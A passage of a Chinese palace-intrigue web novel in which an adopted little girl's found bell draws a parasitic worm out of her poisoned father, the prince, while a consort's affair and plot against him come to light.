萧宁姝缓缓坐下:“堂哥不住在府中,还不知道吧?王妃娘娘将一个捡来的小野种生生捧成了王府的嫡女。我这脚上的伤,便是被那小野种所害。“
小野种?嫡女?指的是刚才那个小女娃团团?
萧文礼虽然未在王府长大,但对于王府中的格局纠纷并非毫不知晓。
方清研和萧宁姝所言意欲何为,他也不是听不出来,但他不欲搅进来:“妹妹好生将养,学生当以卷笔为重,不打扰了,侄儿告退。”说完行了个礼,转身便离开了。
方清研看着他的背影,沉下了脸:“真是个没用的废物!只知道读书!就算是中了状元做了官,没有王府的帮扶,在官场上又能走多远?”
“他跟谁都是那个样子,不必理他。娘,二叔他?”
方清研眉头深锁:“你二叔这两日应该便可以出祠堂了,娘现在担心的是,王爷的病据说大有起色,很快就能醒了。他若是当真痊愈了,你二叔若再想继承王府,可就没希望了。”
萧宁姝满脸不悦:“娘!爹爹对我素来冷淡,如今又有了那个小野种,恐怕女儿更是入不了他的眼了。你得想想办法才行啊。”
正在此时,廊下脚步声急响,一个小厮一路小跑,差点在台阶上绊了一跤,高声大喊着:“王爷睁眼啦!王爷睁眼啦!”
声音越过了凌霜阁,向里面一路飘去。
方清研和萧宁姝互相看了一眼,都在对方脸上看到了焦急和震惊,这么快?!
静兰苑和听雨阁听后全员出动,往养正轩而去,老夫人还没忘了吩咐:“速去将郭太医请来!”
“爹爹醒啦!爹爹醒啦!”团团拍着小手,坐在萧宁珣怀中,高兴地手舞足蹈。
一行人来到了萧元珩的榻前,老夫人望着儿子的脸:“珩儿?”
萧元珩目光有些呆滞,眼珠微动,点了下头。
程如安的眼泪夺眶而出,“王爷,你终于醒了,妾身盼这一天,都盼了快三年了。”
萧元珩缓缓扭头,目光落在妻子的脸上,合了合眼帘。
“爹爹!”萧宁辰跟萧宁珣喊了一声,萧元珩又点了下头。
“爹爹!爹爹!”团团从三哥怀里挣出来,扑到床边,想去握他的手。
却见那只大手,往床里挪了一下,躲开了。
团团怔住了,眼泪一下子便积满了两只大眼睛,小嘴瘪得紧紧的,鼻头瞬间就红了。
她忍了又忍,泪水还是像断了线的珠子一样砸了下来,一头扑进了程如安的怀里,哇的一声大哭起来:“爹爹不喜欢我!娘亲!我不要在这里待着了,爹爹不要我!”
第22章 爹爹变傻了
程如安紧紧地把她搂在怀里:“团团乖啊,不哭不哭,爹爹不是不要你,也不是不喜欢你,爹爹他,这不是刚醒嘛!还没有见过你呢!”
团团抬起满是泪水的小脸:“可,可是,娘亲!你们喊爹爹,爹爹都点头了!可他不理我哇!”说完又哭了起来。
程如安用手一下一下顺着她的后背,“娘亲跟他说!你看着啊,娘亲跟爹爹说!”
她看向榻上的丈夫:“王爷,这是团团,是妾身祭祖时,先祖显灵才找到的女儿!她非常乖,你今日能醒过来,都是多亏了她呢!”
老夫人赶忙接口:“是啊!珩儿,我叩拜过祖宗,团团如今已经是你的嫡女了,你看看她,是不是特别可爱?”
萧宁辰和萧宁珣也在一旁帮腔:“爹!这是团团,是我们的小妹妹,我们都非常喜欢她。”
刚巧,方清研带着萧宁姝此时走了进来,因为萧宁姝的脚伤,她们来晚了一步,在屋外就听到了团团的哭声。
“王爷!您可算是醒了!我跟姝儿都快急死了!”方清研给老夫人和王妃行了个礼后,来到榻前:“姝儿,快过来,看看你爹爹。”
萧宁姝赶紧也走到床边,轻声呼唤:“爹爹,姝儿来了。”
萧元珩眼珠轻转,目光落在了她们脸上,片刻后,微微颔首。
萧宁姝得意地瞄了一眼还趴在王妃怀中哭泣的团团,心里畅快:“血浓于水啊妹妹,别伤心了,你本就不是爹爹的亲生女儿,他如此对你也是应当的,不要怪爹爹啊。”
团团的哭声更大了,小身子一抽一抽的:“娘亲!爹爹要她,不要我!爹爹不喜欢团团!娘亲!“
程如安怒瞪了萧宁姝一眼:“乖团团,不是这样的,团团这么好,爹爹怎会不喜欢你呢?娘亲的小宝啊,不哭了,不哭了啊,你哭的娘亲的心都要碎了。“
萧宁辰和萧宁珣两人目光冷厉地盯了她一眼。
老夫人沉下了脸:“闭嘴!珩儿刚醒,还需静养,不可喧哗!“
方清研嘴角一撇,真是偏心啊,喧哗吵闹的明明是那个野种!
但她还是拉了萧宁姝一下,示意她不要再开口:“是。“
老夫人望着儿子:“珩儿,你说句话啊,哪里还难受?“
萧元珩愣了愣,又点了点头。
众人此时都发觉了有些不对,怎么人醒过来了,却只会眨眼点头呢?
“郭太医还没到吗?“老夫人有些急了。
下人的声音恰好传来:“郭太医求见。“
“快请进来!“
片刻后,郭太医进来了,老夫人急忙道:“别拘礼了,快给王爷诊脉!“
郭太医诊了半天,伸出一只手指,在萧元珩的眼前晃了晃:“王爷请看,这是几?“
萧元珩瞪着他的手指,似是在思索,众人都摒住了呼吸,连团团都安静了,窝在王妃的怀里,看着眼前这奇怪的场景。
半晌后,萧元珩闭了闭眼,头轻轻一点。
郭太医面露疑惑:“按理说……按理说,毒素已清,如今人也苏醒了,说明夜明砂也起了效,不该如此啊。“
他取出药箱中的银针,缓缓扎进了萧元珩的额头。
“不许扎爹爹!“团团大喊了一句,伸出小手去够那根针。
程如安把她的手拉回来,抬手捂住了她的眼睛:”乖,爷爷是在给爹爹治病呢,没事没事。“团团这才安静下来。
郭太医行针如风,转瞬间便将数根银针都扎进了萧元珩的头上。
片刻后,他将所有的银针起出,再度诊脉:“奇怪!奇怪!王爷的身子已经无恙,但七窍闭塞,全然不通。“
老夫人颤着声音问:“你的意思是?“
郭太医顿了顿,“恕老夫直言,王爷如今,目虽视而不见其神,耳虽聪而不闻其意,口欲言而心不属之。其神智,如同……如同初生婴孩一般,懵懂未开!“
话音一落,所有人都倒吸了一口凉气。
老夫人怔怔地望着儿子:“好不容易醒过来了,怎么会这样?“
程如安泪如雨下:“王爷!你让妾身……如何是好啊!“
团团搂着她的脖子,给她擦着眼泪:“娘亲不哭!爹爹会好的!“原来,爹爹的病还没好哇!难怪刚才他躲我,老爷爷说,爹爹现在,像个小婴儿,比我还小呢!
萧宁辰和萧宁珣兄弟二人,脸上也暗淡下来,屋里原本因萧元珩苏醒的那团喜气,彻底消散了。
老夫人看着郭太医:“郭老,可有良方能医王爷?”
郭太医心里没底,沉吟半晌:“老夫为王爷开一副醒神开窍的方子,吃吃看吧。”
方清研上前一步:“老夫人,妾身想明日一早,去玄穹观为王爷祈福,求神仙真人庇佑王爷能早日恢复。“
“也好。”老夫人点点头:“你去吧,清早便去,日落前回,不可在外多做停留。”
“是。”方清研行了礼,带着萧宁姝退下了。
眼看着萧元珩喝下了郭太医的药,众人才离开了养正轩。
晚上,团团睡了,程如安吩咐:“让萧二来见我。”
不多时,萧二来到了静兰苑:“拜见王妃。“
“明日方侧妃去玄穹观,你悄悄地跟着,她所去何处,所见何人,说了什么,做了什么,一一记下来回我,不可遗漏。“
“是。“
次日一早,方清研换了一身素服,头上仅斜插着一枚白玉簪,
脂粉薄施,眉眼间带着一缕恰到好处的轻愁,摆足了为卧病夫君忧心祈福的贤淑模样。
只带了海棠一人,登上马车,来到了玄穹观。
玄穹观坐落于京郊深处,规模颇大,青瓦朱墙掩映在苍松翠柏之间,一直以来,都是京城香火最盛的道观。
方清研走进正殿,跪在三清祖师金身面前,焚香、跪拜、求签、祝祷,口中念念有词,姿态虔诚无比。
待一切周全,她微微蹙眉,轻抚额角,声音带着几分倦怠对观中知客道:“有劳道长引路,我身子有些乏了,不知可否借一静室稍作歇息?”
知客知她是宁王侧妃,自然无有不从,连忙将她引至后院一处僻静雅舍。
此处竹影婆娑,远离前殿喧嚣,正是清静之所。
“你在外守着,警醒些。”方清研吩咐了海棠一句,推门而入,反手轻轻合上了门扉。
海棠应了声“是”,侍立在门外,警惕地望着四周。
却不知,一道鬼魅般的身影,早已悄无声息地伏在了静室的屋脊之后,正是奉王妃之命尾随而来的萧二。
他将呼吸收敛至几不可闻,身形与屋瓦的阴影完美融为一体,轻轻掀开一小片青瓦,将室内的景象,尽收眼底。
第23章 侧妃的秘密
一个身穿青衣的中年男子早已等候多时。
方清研那副柔弱疲惫的模样在她转过身面对那他时,顷刻间褪了个干干净净。
她唇角勾起一抹与方才悲悯神色截然不同的笑意,带着几分娇媚,几分大胆:“你来得倒早。”
男子看向她,眼里跳跃着灼热的光芒:“佳人有约,岂敢来迟?”
他上前一步,竟是毫不避讳地握住了她的手,指腹在她细腻的手背上轻轻摩挲:“不是说好了么,若无急事,你我不便相见,今日为何……?”
“为何?”方清研低笑一声,靠进他的怀中:“我在王府煎熬了这么多年,你却在外面风流快活,若再不相见,怕是你已经忘记我了。”
男子搂着她,眼中滑过一丝不耐:“怎么会?你想多了。”
他抬起手,落在她的颈侧,轻轻褪下了她的外衫,嘴唇落在她的耳侧:“我对你如何,你难道心里不知么?无论我有多少女人,不过逢场作戏罢了,唯有你,才是我心头最爱。”
方清研微微喘息,指尖划过他的领口:“我来是想告诉你,昨日,他醒了。”
男子手一停,脸色变了:“哦?”
方清研的手却没停,剥落了他的衣裳:“也吓了我一跳呢,不过,人虽然已醒了,却痴傻如婴孩,什么都不懂了。”
男子微微一笑,露出一副早知如此的表情:“别怕,心肝,我在他身上使的手段,普天之下无人能解,只是苦了你了。”
方清研将他扑倒在桌上:“苦倒是不苦,守着个活死人罢了。只是,这日子何时才是个头?我只想,跟你光明正大,双宿双飞。”
“快了,就快了……”男子低语,声音带着蛊惑:“待他油尽灯枯,王府偌大家业,还怕没有你的逍遥日子?”嘴唇落在了她的胸口。
方清研“嘤咛”一声,半推半就,眼波流转,尽是风流媚态。
屋顶上,萧二瞳孔骤缩,将每一字每一句都听入耳中,记在心里。
他不忍再看,将瓦片复归原位,身影如一片落叶般无声滑下屋檐,迅速隐没在竹林阴影之中。
屋内二人厮混了许久,方清研才推门出来,又是来时的那副模样了。
萧二一路跟随,回到了王府。
夜晚,萧二来到静兰苑,老夫人与程如安都在,他行了礼,将今日所见所闻一一禀告。
老夫人气的胸口不断起伏,一巴掌拍在桌上:“这个贱妇!“
程如安努力维持着平静:“辛苦了,此事不可与任何人提起,下去领赏吧。”
“是。”深知此事干系太大,萧二半个字都没多说,转身就走。
“母亲息怒,处置了她容易,但如今王爷尚未恢复,背后之人又不知究竟是谁,我在明,敌在暗,还是不动声色为好。”
老夫人长叹一声:“珩儿的身子要紧,此事你我既然已经知晓,今后更要格外小心,再不许她们靠近珩儿的药饮膳食!”
“是,母亲请放心。”
这几日,郭太医天天都来给萧元珩行针,程如安将养正轩守得如铁桶一般,几乎寸步不离,但萧元珩的病却毫无起色。
团团每天都能看到娘亲偷偷垂泪,于是也闷闷不乐,走路都不蹦跶了,每天只是默默地跟着两个哥哥,在园子里闲逛。
“团团,咱们喂鱼好不好?”
“嗯。”
“团团,哥哥带你放风筝去吧。”
“嗯。”
团团各种兴致全无,看得两个哥哥愁眉不展。
“要不,咱们出去走走?”萧宁珣蹲下来,搂着她:“咱们去巧酥阁买几样新鲜的点心,带回来给祖母和母亲尝尝。巧酥阁隔三岔五就推出新鲜的点心,花样儿可多呢。”
团团看着三哥:“好吧。二哥哥的腿走多了还是会痛,三哥哥,咱们俩去,给娘亲,祖祖和二哥把好吃的点心都带回来!“
萧宁辰柔声道:“好!二哥在家等着你们。三弟,多带几个人,路上要小心,看好了团团。”
“放心。”
说走就走,巧酥阁离王府并不远,萧宁珣有心带着妹妹四处转转,没有乘车,从侧门出去,抄近道拐过两条巷子,来到了京城最热闹的大街上。
青石板的路面被经年累月的脚步磨得光滑如镜,街边各种店铺林立,小贩们的吆喝声与伙计们招揽客人的热情呼喊绞在一起,噪杂而凌乱。
食肆中灶火正旺,氤氲出浓郁诱人的香气,霸道地钻进每个人的鼻腔。
笨重的骡马车子碾过石路,发出“咕噜咕噜”的沉闷声响,车上的把式不停地呵斥着挡路的行人。
大街上充斥着真实蓬勃的生气。
团团的眼睛都不够用了,她在这个摊子上停一下,又在那个摊子上停一下,拉着二哥的手小嘴不停地问,这是什么?那又是什么?
萧宁珣一一回应,将她护在身前,牢牢地守护着。
来到巧酥阁,二人挑了很多点心,包好了交给下人提着:“回家吧,团团。”
“好!”萧宁珣见她走累了,把她抱在怀里:“累了吧,哥哥抱你回去。”
团团趴在哥哥的肩头,四处张望,哇,哥哥好高啊!
刚走进来时的小巷,“三哥哥!停一下!“团团喊住了他:”那个!那里有个东西!帮我捡一下。“
萧宁珣顺着她小手指着的方向看过去,只见巷子的角落里,静静地躺着一个不起眼的小铜铃,也不知是谁家孩子的玩意儿,估计是手没拿稳,掉落的。
他蹲下身,将那铜铃捡了起来递到她手里:“这个?“
“嗯嗯!“团团握着铃铛,小心地擦掉了上面的灰尘,轻轻晃动,叮铃叮铃的声音并不大,却异常清脆,团团高兴地笑了:”哥哥!你听!它在给我唱歌呢!“
萧宁珣知道妹妹这捡破烂的习惯,也没阻拦:“团团要是喜欢,哥哥给你买更好的玩。“
“不嘛!“团团摇了摇头:”我就要这个。“
萧宁珣笑了笑,并不在意,妹妹喜欢什么,就拿着呗,他恨不得将这世间所有最好的东西,都拿给她。
兄妹二人回到王府,一问下人,才知道郭太医已经来了,老夫人,王妃,萧宁辰都在养正轩。
“三哥哥,咱们也去看看爹爹吧,爹爹今天,会不会搭理团团啊?团团很乖很乖的。“团团的小脸垮了下来。
萧宁珣心疼地用手蹭了蹭妹妹的小脸,“爹爹只是病还没好,等他好了,看见你,一定会比三哥和二哥都喜欢你的,三哥保证。“
团团眨着大眼睛望着他:“嗯。“
兄妹二人走进了养正轩。
郭太医正在行针,老夫人和王妃坐在床边的椅子里低垂着脸,萧宁辰则站在一旁,紧紧地盯着郭太医手中的银针。
郭太医将银针取出,放回药箱,凝神诊了会儿脉,抬起头,看了看众人,叹了口气,微微摇了摇头。
第24章 爹爹的手里有东西
众人都明白了他的意思:王爷的病,依旧是没有任何好转。
萧元珩睁着眼睛,静静地躺着,神情呆滞。
屋里气氛凝重,所有人都沉默着,无能为力,束手无策。
程如安望着丈夫毫无表情的脸,心中像是被滚油浇过,太煎熬了,太煎熬了,好不容易解了毒,又有了药引子服了药,醒过来了,怎么还是不好呢?
泪水无声地滑落,大滴大滴地砸在衣服上。
团团红了眼圈,钻进她的怀里:“娘亲不哭!团团给你买了好吃的点心呢。“
程如安抱着她,控制不住地啜泣起来。
团团伸出小手,为娘亲轻轻抹去泪水:“娘亲!团团带你上街去玩好不好?有好多好玩的东西呢!”
程如安心知女儿是想让自己开心,勉强忍住了哭泣,低声问:“是吗,团团跟娘亲说说,都有什么好玩的?”
“有好多好多人!我都没见过的!啊!还有,”她解开了腰间的绣囊,掏出了那个路上捡到的小铃铛,举起来给她看:“我还捡了个会唱歌的宝贝!娘亲你看!”
说着,轻轻摇晃起铃铛来,叮铃叮铃的声音瞬间响彻屋内。
“别动!”郭太医突然喊了一声,团团停了下来,奇怪地看着他:“老爷爷?不好听吗?”
“不不不。小小姐,你听我说,我让你摇,你再摇,好不好?
看到众人疑惑的神情,郭太医嗽了嗽嗓子:“方才小小姐摇铃铛的时候,老夫仿佛看到了什么,或许,只是老夫眼花了,但是,不妨试试。“
老夫人问:“郭老看到了什么?“
郭太医用手指着萧元珩的耳根处:“小小姐,现在摇,别停下。“
团团乖巧的“嗯。“了一声,摇动了铃铛。
下一刻,所有人都看见了,萧元珩耳后的皮肤下,像是被墨汁描了一笔,出现了一条细若发丝的黑影,从耳后直到颈侧。
“这是什么?“程如安瞪大了眼睛。
郭太医摇了摇头:“小小姐,继续,不要停啊,爷爷告诉你何时停,你再停。“
铃声继续,随着叮铃叮铃的声音不停地响起,那条黑影慢慢开始浮动。
团团此时正坐在萧元珩的右手旁边,那黑影像是听到了召唤,带着一种让人头皮发麻的诡异扭摆,向右手的方向游去。
“两位公子,帮老夫一下,待它爬到王爷的手上,握住王爷的手腕,一定要握紧。“
“好。“兄弟二人上前一步,严阵以待。
郭太医从药箱中取出了一把小小的匕首:“小小姐,听爷爷的话啊,现在开始,慢点摇,慢一点。“
团团放慢了速度,铃声变成了丁玲,丁玲,丁玲。
铃声慢了,黑影游动的速度也随之慢了下来,缓缓来到了王爷的右手背上,手背上皮肤纤薄,黑影的形状清晰可见。
程如安担心吓到团团,一把捂住了她的眼睛:“乖,继续摇,太丑了,别看啊。”
团团乖巧地点了点头,继续摇着手中的铜铃,没有挣开她。
“抓!“兄弟二人闻言一起动手,紧紧地掐住了萧元珩的手腕。
那黑影瞬间便反应过来,自己的后路已被切断,顿时疯狂地扭动起来。
郭太医手疾眼快,刀锋垂直落下,将手背切开了一个小口子,浓黑如墨的血液,带着一股腥气,流了出来,随着那黑血一同流出的,竟然是一条通体黑褐色,细长如线的虫子!
那虫子脱离了手背后不久便不再动弹,没了声息。
郭太医没有停下,不停地往外挤着黑血,好半晌过后,血液逐渐从黑色转为褐色,最后变得鲜红。
他这才停手,擦了擦额头上的汗水:“好险!好险!好恶毒的手段!竟然是摄魂蛊!二位公子,可以松手了。”
兄弟二人这才站直了身子,看着那死去的虫子:“太医,摄魂蛊是什么?怎么会在父亲的身体里?”
郭太医捻了一撮药粉撒在伤口上,缓缓包扎着伤口:“此物非比寻常!上古残卷《苗荒遗毒考》所载,此非中原之物,乃是南疆的阴毒秘术!“
包扎好伤口之后,他看着那死去的恶心虫子,目光狂热:“此虫入体时只是极小的幼虫,进入体内后,靠吸食人体精华为生,逐渐长大。”
“这摄魂蛊虫竟然已经长到如此长度,显然在王爷体内至少已有数年。”
“此蛊阴毒之处在于,它本身毫无毒性,因此寻常诊脉对其完全无效!难怪我多年看诊,却无法察觉。王爷如今目滞神呆,正是被它蒙蔽了灵台,堵塞了心窍啊!”
“如此说来,王爷现在彻底能好了?”程如安听得似懂非懂,如坠雾中,急忙堵上了郭太医还在滔滔不绝的话头,问出了自己最关心的问题。
郭太医频频点头:“可以!完全可以了!”
众人听后,脸上皆是大喜,终于等到这一天了!
团团瘪了瘪嘴:“老爷爷,还不能停吗?我的手好酸啊!”
众人这才反应过来,因为郭太医没有喊停,所以,团团还一直摇着手里的铃铛。
程如安也发觉自己还捂着女儿的眼睛,赶紧撤回了手。
郭太医一拍脑门:“可以了!可以了!老朽都忘了小小姐还在摇铃呢。”
团团“唉。“了一声,放下了手中的铃铛:“累死宝宝了。”
大人们啼笑皆非,程如安握着她的手腕,轻轻地给她揉着:“团团真乖!团团最棒了!若是没有你带回来的这个小铃铛,爹爹的病就好不了了,团团真是娘亲的好女儿!”
“真的吗?”
“当然啦!”
团团开心了,在程如安的怀里滚来滚去:“娘亲!真的是我救了爹爹?”
“是啊!”程如安紧紧地抱着她,在她的小脸上亲了一口:“团团真是咱们家的小福星!”
团团得意了,搂住她的脖子,在她的脸上回敬了无数的亲亲。
郭太医若有所思地望着那只小铃铛:“此物竟能召唤摄魂蛊,乃是千金难买的宝物啊!竟是小小姐偶然捡到的?真是不可思议!”
几个大人的心中立时都咯噔了一下。
老夫人轻描淡写地接口:”侥幸罢了,不值一提。“
郭太医冲着老夫人一揖到地:“老夫人!此物只存于传说之中,老夫行医一生,不想今日竟能得见真容。此乃天赐的医缘啊!“
“恳请老夫人恩准,能否、能否将这虫子和铃铛赐于老夫,让老夫带回去细细钻研?”
第25章 爹爹这次没有躲
老夫人看向团团:“团团,你可愿意将这铃铛给太医爷爷?”
团团歪着小脑袋看了看郭太医。
郭太医赶忙道:“小小姐,老夫的胡须随便你摸!”
大家都笑了,团团也乐了:“不用摸啦,已经摸过啦,老爷爷,你拿走吧。不过,你用完了,要还给我哦!我还想听它唱歌呢!”
郭太医大喜过望,居然冲她行了个礼:“多谢小小姐!”取出一个盒子,将虫子和铃铛放在里面,欢天喜地的就想告辞。
程如安赶忙叫住了他:“郭太医,王爷的病,是否还要服药?”
郭太医这才想起来:“恕罪!恕罪!老夫今日实在是欢喜得忘了形。按昨日的药方煎药服下即可,不必再开新方子了,病根已除,王爷休息几日便可痊愈了。”
“多谢太医。今日之事,还请太医为王府保密,切勿与任何人提起。”程如安脸色郑重。
郭太医一怔,这才反应了过来,这摄魂蛊绝非偶然出现,看来是有人在处心积虑暗害宁王,自己无意之间竟得知了王府秘辛。
若不是这场怪病,宁王身为皇亲,如今定然还是那个兵权在握,战功赫赫,声震朝纲的一代贤王。
谁人下手?为何下手?此等天家恩怨,我这小小太医,还是有多远躲多远才是。
想到这里,郭太医冲着老夫人和王妃缓缓下跪,行了个大礼:“老臣遵命。“随后提起药箱,转身离去。
郭太医走了,程如安让萧宁珣抱着团团,亲自动手,将丈夫的床榻收拾得干干净净。
萧元珩仰面而卧,双目紧闭,看着跟以往并无不同。
程如安抬眼环视众人:“今日之事,王府中仅限这屋内几人知晓,不可对任何人说起。辰儿,你行走时还需让七星扶着你,不要让旁人看出来。”
兄弟二人点了点头:“儿子遵命。”
团团不懂了:“为什么啊?“
萧宁珣在她耳边轻声解释:”因为,爹爹可能是被人害成这样的,娘亲的意思,不能让坏人知道爹爹已经好了,这样坏人才不会又来害爹爹,二哥的腿也一样。“
团团举起小拳头:“我懂啦!我不说,不让坏蛋知道,可是三哥哥,坏蛋是谁啊,咱们抓他啊。爹爹的病一直不好,娘亲才总是掉眼泪,团团要打他!“
萧宁珣微笑:“自然是要抓的,团团真聪明!”
程如安看向老夫人:“母亲,儿媳如此安排,您看是否妥当?”
老夫人微微颔首:“你安排的很好。郭太医既说珩儿过几日便能恢复,府中一切,便等珩儿醒来,由他亲自定夺。
门外传来下人的声音:“二爷在外求见,说是要看望王爷。”
程如安心里咯噔了一下,将丈夫的双手塞入锦被中,望向老夫人。
老夫人仔细看了看床上,一切如旧,才道:“让他进来。”
萧元华惦记着萧元珩服下那夜明砂后的情形,在祠堂抄完《家法》便赶了过来。
给老夫人和程如安行礼问安后,他看了看床上的兄长,死气沉沉,毫无动静。
“王兄的病竟然还是如此?”
程如安没有回答,但脸色暗淡,微微摇头,一副生无可恋的表情。
萧元华放心了:“看来那夜明砂也没多大奇效。儿子今日便回府去,为王兄再请名医来瞧。“
老夫人点点头:“去吧。“
三日之后,萧元珩缓缓睁开了双眼,屋里静悄悄的,这是……哪里?
耳边传来一道软软的童音:“娘亲!爹爹怎么还是没有醒啊!要不要跟老爷爷把铃铛要回来?”
娘亲?爹爹?老爷爷?铃铛?这个声音奶声奶气的,却莫名牵动着自己的心,究竟是谁?
妻子的声音还是那样温柔:“不用的,团团不用担心,铃铛他用完就会送回来的。老爷爷的医术最好了,他说你爹爹这几日就能醒,一定可以的。”
他转头望向床边,精准地锁定了那小小的身影。
一个粉雕玉琢的小女娃,小脸圆圆的,看起来也就四五岁,一身粉色衣衫,正睁着一双乌溜溜、湿漉漉的大眼睛,看着自己。
清澈的目光陡然跳跃出光芒:“娘亲!爹爹在看我!他醒啦!”
笑容绽放在脸上,两个小酒窝似曾相识,若隐若现。
程如安扑到床边,满脸惊喜:“可算是醒了!王爷?可还识得妾身?“
萧元珩嗓子有些干涩,张了几下嘴,吐出了两个字:“安儿“
程如安眼泪夺眶而出,安儿是丈夫私下里对自己的称呼,两年多了,她终于又听到了。
见丈夫的目光落在女儿身上,程如安赶忙将团团搂在身前,靠近了他。
“王爷,这是团团,妾身的女儿,你看,非常乖吧?你的病能好,多亏了她呢。“
团团望着他,想起了那天躲开自己的手,小嘴一瘪,满脸委屈,转头缩进了娘亲的怀里。
萧元珩的心口像是被最柔软的羽毛狠狠撞了一下,又酸又胀,女儿?这孩子看起来四五岁的样子,长得跟安儿真像。我病了这么久吗?
“团……团?“
听到爹爹喊自己,团团转过了身,目光与他对视。
爹爹的眼睛真亮啊!像天上的星星一样!团团迟疑着冲他伸出了小手,你要是再躲,就是坏爹爹,我以后再也不要理你啦!
下一刻,一只大手把她的小手握在了掌心。
团团开心了:“娘亲!爹爹没躲!爹爹没躲!“
程如安擦了擦眼泪:“对啊,爹爹上次躲开团团,是因为病还没好,现下好了,自然不会躲开啦。“
见萧元珩的手上,还缠着上次郭太医给包上的软布。
团团双手把他的大手捧到嘴边,鼓起粉嫩嫩的腮帮子,极其认真地“呼呼”吹了两口气,那气息又轻又暖,带着甜甜的奶香:“团团吹吹,痛痛飞飞。“
萧元珩愣住了。
纵横沙场、见惯生死的一颗铁血心脏,仿佛被这小小的气流彻底融化了。
“团团真乖。”他尽量放轻了声音,实在不知道如何跟这样一个软乎乎的小娃娃接触,笨拙地抽出了自己的手,在团团的小脸上碰了一下。
这小脸蛋!比花瓣还柔嫩。
他的手掌宽厚,指节因常握兵器而带着粗粝的薄茧,与女儿娇嫩的小脸形成了鲜明的对比。
团团高兴地在他的手上蹭了几下:“爹爹喜欢团团吗?”
萧元珩微微一笑:“喜欢!”
团团兴奋地蹦了起来:“爹爹喜欢我!我要去告诉二哥和三哥!爹爹喜欢我!”
“去吧,路上不要喊,要小声的跟他俩说,这是只有咱们一家人才知晓的秘密哦!团团要帮娘亲守住,不能让不相干的人知道。
“要悄悄地告诉他们,爹爹刚醒,还要睡觉,让他们明日再来看爹爹。”
“好嘞!爹爹!我明日再来看你!“团团一蹦一跳地跑了出去:“嬷嬷!我要去找二哥三哥玩!”
“小小姐!慢些跑!小心摔着!“门卫刘嬷嬷的声音随着团团渐渐远去。
程如安点了点头:“真是个聪明孩子!”
她看向萧元珩:“王爷,你总算是醒了,府中多少大事,都等着你裁断啊!”
第26章 收到了马儿赛的请帖
程如安轻轻扶起丈夫,往他身后塞了几个软枕,让他舒舒服服地靠着床头,又端来一盏热茶,服侍着他喝下,这才稳稳地坐在床边,将王府中近日发生的一切,缓缓道来。
萧元珩默默听完,神情严肃,目光森然,“竟发生了这么多事!难为你了,安儿。“
程如安眼圈一红,默默地握住了丈夫的手。
“团团那孩子,我第一眼见她便觉得甚是亲切,竟好像真的有种血脉相通的感觉,安儿,多亏你将她带了回来。”
“我第一眼见到她的时候,也是如此。“
他沉吟了片刻,轻轻摆了摆手:“我身上还是沉得很,甚是疲乏,待大好恐还需将养些时日。“
“今日起,请郭太医隔日便来一趟,不要让旁人知晓我已醒来。一切维持原样,按兵不动,待我精神恢复,再跟他们一笔一笔地算清楚这些帐。”
程如安点了点头:“如此甚好,王爷的身子才是最要紧的。其他的事,都可以先放一放。”
萧元珩握住了妻子的手,声音低柔:“苦了你了,安儿。”
程如安顿时哽咽:“不苦不苦,只要你身子康健,我……”想起这两年多难熬的日日夜夜,她说不下去了。
萧元珩轻轻拉她入怀,为她拭去了脸上的泪水。
“二哥哥!三哥哥!快来!我有秘密要告诉你们!”团团人还没跑进二哥的辰振轩,声音便已经传了进来。
兄弟二人相视一笑,萧宁珣起身迎了出去,团团一头扎进他怀里,顺势往他臂弯处一坐,萧宁珣熟练的将她捞起,抱得稳稳的:“团团怎么知道三哥也在这里啊?”
团团看了看,屋里只有兄妹三人,这才开口:“因为娘亲说过,二哥在旁人面前还要扶着人走路啊!所以,一定是三哥来二哥这里啦!”
萧宁珣抓着她一只小手凑到嘴边,亲了一下:“真是个小机灵鬼!”
萧宁辰看得心里痒痒,伸出双手:“二哥抱抱团团好不好?“
“嗯!“看到团团伸出一只手去够萧宁辰,萧宁珣急忙把她抱给了二哥,萧宁辰将她放在自己腿上,摸着她的头发:”团团要告诉我们什么秘密啊?“
团团一只手搂着二哥的脖子,另一只手搂着三哥的脖子,把他们的头拉近自己,悄悄地说:“爹爹醒啦!他说他喜欢我!娘亲说,这是只能咱们家人才能知道的秘密!”
兄弟二人异常惊喜:“真的?”
团团奇怪地看了看他俩:“当然是真的啦!哦,对了,娘亲还说,爹爹刚醒,要睡觉,让咱们明日再去养正轩。”
两人瞬间明白,父母这是,有体己话要说。
下人的声音在门外响起:“陆家二公子求见,说是来给小小姐送帖子。”
团团眼睛噌的一下亮了:“小话梅来了?我要看小话梅!”
兄弟二人都是一脸的不耐烦,这个臭小子,怎么又来找团团!但妹妹一脸期待,又怎能让她失望?
“让他进来吧。“
陆清嘉人还没到,小话梅已经扑哧哧地飞了进来,团团从二哥怀里跳下来,小胳膊挥舞着,蹦得老高:“小话梅!小话梅!我在这里!“
小话梅在屋里飞了一圈,冲着她飞过来,在她的头顶又飞了几圈,落在了她的肩头,用小脑袋蹭着她的脸蛋。
陆清嘉走进来一看:“小话梅!你怎么看见盟主就不要我了?“
团团一脸得意的笑:“小话梅喜欢我嘛!“
“你一个大男人,跟只鸟计较什么!“萧宁辰语气冷淡。
萧宁辰一贯脸色冷硬,不假辞色,陆清嘉有些怵他,耸了耸肩,没敢回嘴。
萧宁珣问:“你来给团团送帖子?什么帖子?“
“明日,上林苑有马球赛!我家里办的,也算是我们少年游盟会的首次相聚,所以我亲自来给盟主送请帖。“
陆清嘉从怀里掏出帖子递给萧宁珣:“两位兄长若是有兴致,不妨同来。”
团团扒着三哥的手,看着那张红底烫金的纸。
字她是看不懂的,但上面印着一个精致的马儿的图案,她能看懂:“马儿会?”
陆清嘉笑了:“不是马儿会,是马球会。马球……就是一种游戏啦!我也会参加哦,我的马儿可是一匹千里良驹,漂亮得紧,跑得还飞快!盟主你来给我加油好不好?”
“游戏?马儿的游戏?”团团眼睛亮了:“哥哥?我想去!能去吗?”
见妹妹想去,萧宁珣刚想一口答应,萧宁辰却抢先开口:“你先回去吧,此事还需禀明了王妃方能决定。”
陆清嘉脸上垮了下来:“哦。”
团团走过去拉了拉他的手,仰起头看着他:“娘亲会让我去的!”
娘亲对我那么好,一定会答应的!
陆清嘉登时眉飞色舞:“小团团,你可要说到做到哦!我已经跟咱们游盟会里的其他人都说过了,你一定会去,你可不能削了我的面子哦!”
兄弟二人没去听两人在说什么,目光都落在妹妹拉着陆清嘉的那只小手上。
萧宁辰的眉头皱了起来,若不是自己还不能在旁人面前行走自如,他早就冲过去了,团团是我的妹妹,她的手岂是这个臭小子能碰的!
萧宁珣直接走过去,把团团拉到自己身边:“你回去吧,若是母亲同意,我便遣人去你府上给你回个口信儿。”
